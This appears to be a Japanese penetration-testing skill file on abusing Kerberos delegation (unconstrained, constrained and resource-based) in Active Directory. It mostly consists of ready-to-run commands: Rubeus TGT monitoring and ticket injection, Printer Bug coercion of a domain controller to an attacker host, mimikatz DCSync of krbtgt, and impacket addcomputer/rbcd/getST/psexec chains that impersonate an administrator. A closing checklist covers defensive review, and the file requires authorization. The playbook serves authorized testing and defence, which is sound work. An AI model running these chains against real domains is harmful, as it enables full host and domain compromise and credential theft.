attacking-kerberos-delegation

Kerberos 委任への攻撃

委任を使うと、サービスは別のサービスに対してユーザーになりすませます。どの種類も、他人になることを制御する仕組みですが、制御をなくしてしまう設定ミスがあります。特に RBCD は、コンピューターオブジェクトへの書き込みアクセス権という、一見影響が小さそうな一般的な権限を、そのホストの完全な侵害につなげます。そのため、委任攻撃の中でも最もよく見られます。

テストの許可を得たドメインに対してのみ実施してください。

使用する場面

• BloodHound が Unconstrained、Constrained、または RBCD の委任を検出した場合
• SPN を持つアカウントを制御している場合、またはコンピューターオブジェクトに対する GenericWrite／GenericAll を持っている場合
• マシンアカウントを作成できる場合（MachineAccountQuota の既定値は 10 です）
• 委任が設定されたホストを制御している場合
• 防御目的で委任の設定を確認する場合

使用しない場面

• 証明書サービスの悪用 — abusing-adcs を使用してください
• Kerberoasting、DCSync、一般的な AD — attacking-active-directory を使用してください
• Entra ID — attacking-entra-id を使用してください
• 検出 — engineering-detections を使用してください。TGS／S4U のパターンとマシンアカウントの作成（4741）がテレメトリです

3 種類を列挙する

# Constrained + unconstrained in one pass
findDelegation.py domain.local/user:pass -dc-ip 10.0.0.10        # impacket
# PowerView
Get-DomainComputer -Unconstrained | select name
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto
Get-DomainUser -TrustedToAuth
# RBCD is a per-object attribute; BloodHound's edges are the practical way to find it

どの種類に該当するかによって、すべてが決まります。

種類	マーカー	信頼の方向
無制約	アカウントに TRUSTED_FOR_DELEGATION が設定されている	ホストは、認証を行った誰にでもなりすませます
制約付き	msDS-AllowedToDelegateTo に値が設定されている	ホストは誰にでもなりすませますが、指定されたサービスに限られます
RBCD	ターゲットに msDS-AllowedToActOnBehalfOfOtherIdentity が設定されている	ターゲットが、自身になりすませる対象を指定します

無制約委任

無制約委任が設定されたホストは、認証を行ったユーザーの TGT をキャッシュします。まずホストを侵害し、次に高価値アカウント（理想的にはドメインコントローラー）に認証を強制させ、その TGT を取得します。

# On the compromised unconstrained host, monitor for incoming TGTs
Rubeus.exe monitor /interval:5 /nowrap
# Coerce a DC to authenticate to you
printerbug.py 'domain/user:[email protected]' attacker-host.domain.local
# or PetitPotam, or the MS-EFSR / MS-RPRN coercion of your choice

# Capture the DC's TGT, then DCSync with it
Rubeus.exe ptt /ticket:<base64 DC TGT>
mimikatz # lsadump::dcsync /user:krbtgt

Printer Bug（MS-RPRN）と PetitPotam（MS-EFSR）は、ターゲットに認証を強制させるための手段です。ドメインコントローラーに無制約委任ホストへの認証を強制させれば、ドメイン侵害に直結します。

制約付き委任

あるサービスへの制約付き委任が設定されたホストは、そのサービスに対してどのユーザーにもなりすませます。ドメイン管理者になりすますことも可能で、S4U2Self の後に S4U2Proxy を使えば、自分自身をドメイン管理者になりすませることもできます。

# You control an account with msDS-AllowedToDelegateTo set to, say, cifs/dc01
getST.py -spn cifs/dc01.domain.local -impersonate administrator \
  'domain.local/svc_account:password' -dc-ip 10.0.0.10
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]

代替サービスのトリックが重要です。 S4U2Proxy は要求した SPN のチケットを返しますが、サービスクラスは暗号学的に結び付けられていません。ターゲットサービスはサーバー名のみを確認するため、cifs/dc01 のチケットを host/dc01、ldap/dc01、http/dc01 に書き換えられます。そのため、time/dc01 のような「無害な」サービスに制約された委任でも、ldap/dc01 を取得でき、結果として DCSync が可能になります。リストされた SPN が無害そうだからといって、制約付き委任を軽視しないでください。

リソースベースの制約付き委任（RBCD）

最もよく見られる委任攻撃です。前提条件が一般的で、コンピューターオブジェクトの msDS-AllowedToActOnBehalfOfOtherIdentity に書き込みアクセスできれば成立します。ターゲットコンピューターに対する GenericWrite、GenericAll、WriteDacl、または WriteProperty のいずれかがあれば十分です。

# 1. Create a machine account (default quota allows 10 per user)
addcomputer.py -computer-name 'EVIL$' -computer-pass 'Password123' \
  domain.local/user:pass -dc-ip 10.0.0.10

# 2. Write your new account into the target's RBCD attribute
rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write \
  domain.local/user:pass -dc-ip 10.0.0.10

# 3. Impersonate any user to the target via S4U
getST.py -spn cifs/target.domain.local -impersonate administrator \
  'domain.local/EVIL$:Password123' -dc-ip 10.0.0.10
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]

そのため、コンピューターに対する BloodHound の GenericWrite エッジは、軽微な指摘ではありません。3 つのコマンドで、そのコンピューターを完全に乗っ取れます。コンピューターオブジェクトへの書き込み権限を報告する場合は、RBCD と同等の重大度で報告してください。

MachineAccountQuota が 0 の場合、マシンアカウントは作成できません。ただし、制御下にある既存アカウントが SPN を持っていれば、「from」アイデンティティとして使用できます。また、GenericWrite により、自分または別のユーザーのユーザーアカウントに SPN を設定できる場合も、代わりに使用できます。

保護されたアカウント

委任経路にかかわらず、なりすましに対して保護されているターゲットがいくつかあります。

• Protected Users のメンバーには委任できません。
• 「アカウントは機密性が高く、委任できない」 （NOT_DELEGATED）とフラグが設定されたアカウントは対象外です。
• なりすましの対象が保護されている場合は、保護されていない別の特権アカウントを選んでください。ほぼ間違いなく見つかります。

労力を費やす前に確認してください。

Get-DomainUser -AllowDelegation -AdminCount | select name       # delegatable admins

防御レビュー

• 制約のない委任が設定されているアカウントはどれですか？ また、それが必要なアカウントはありますか？（DCには必要ですが、それ以外ではほとんど必要ありません。）
• 特権アカウントは Protected Users に含まれ、NOT_DELEGATED のフラグが設定されていますか？
• MachineAccountQuota は 0 に引き下げられていますか？
• コンピューターオブジェクト、特にサーバーや DC に対する書き込み権限を持っているのは誰ですか？
• ドメインコントローラーのサービスクラスへの委任は監査されていますか？
• S4U2Self／S4U2Proxy のパターンは監視されていますか？

却下すべき合理化

• 「委任先は無害なサービスだけです。」 サービスクラスは書き換え可能です。time/dc01 は ldap/dc01 になります。
• 「コンピューターに対する GenericWrite にすぎず、深刻度は低いです。」 これは RBCD です。ホストを完全に乗っ取れます。
• 「コンピューターアカウントは作成できません。クォータは 0 です。」 SPN を持つ、自分が制御できるアカウントであれば代用できます。
• 「制約のない委任が設定されているのはメンバーサーバーで、DCではありません。」 DC を強制的に認証させればよいのです。サーバーの信頼レベルは関係ありません。
• 「なりすましの対象はドメイン管理者なので、保護されているはずです。」 確認してください。ほとんどの管理者は Protected Users に含まれていません。
• 「BloodHound にエッジが表示されませんでした。」 委任属性を調べるには最新の収集データが必要です。古いデータでは RBCD がまったく検出されません。

ATT&CK の対象範囲

secskills-core/ttp-index.json から生成されています。このファイルを編集してから、 python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、ID が 現在の ATT&CK リリースと一致していることを再確認してください。

認証情報アクセス（TA0006）

• T1558 Kerberos チケットの窃取または偽造 — attacking-active-directory も参照してください

これらに関する検出コンテンツ：engineering-detections。プロアクティブな検索：hunting-threats。侵害後の対応：responding-to-incidents。

参考資料

• attacking-active-directory — DCSync と、そこにつながるより広範なドメイン経路
• abusing-adcs — もう一つの効果の高い権限昇格の系統。この手法と組み合わされることもよくあります
• engineering-detections — S4U およびコンピューターアカウント作成のテレメトリ
• reporting-security-findings — 書き込みプリミティブに関する検出事項の深刻度
• impacket（getST、rbcd、addcomputer、findDelegation）、Rubeus、PowerView、BloodHound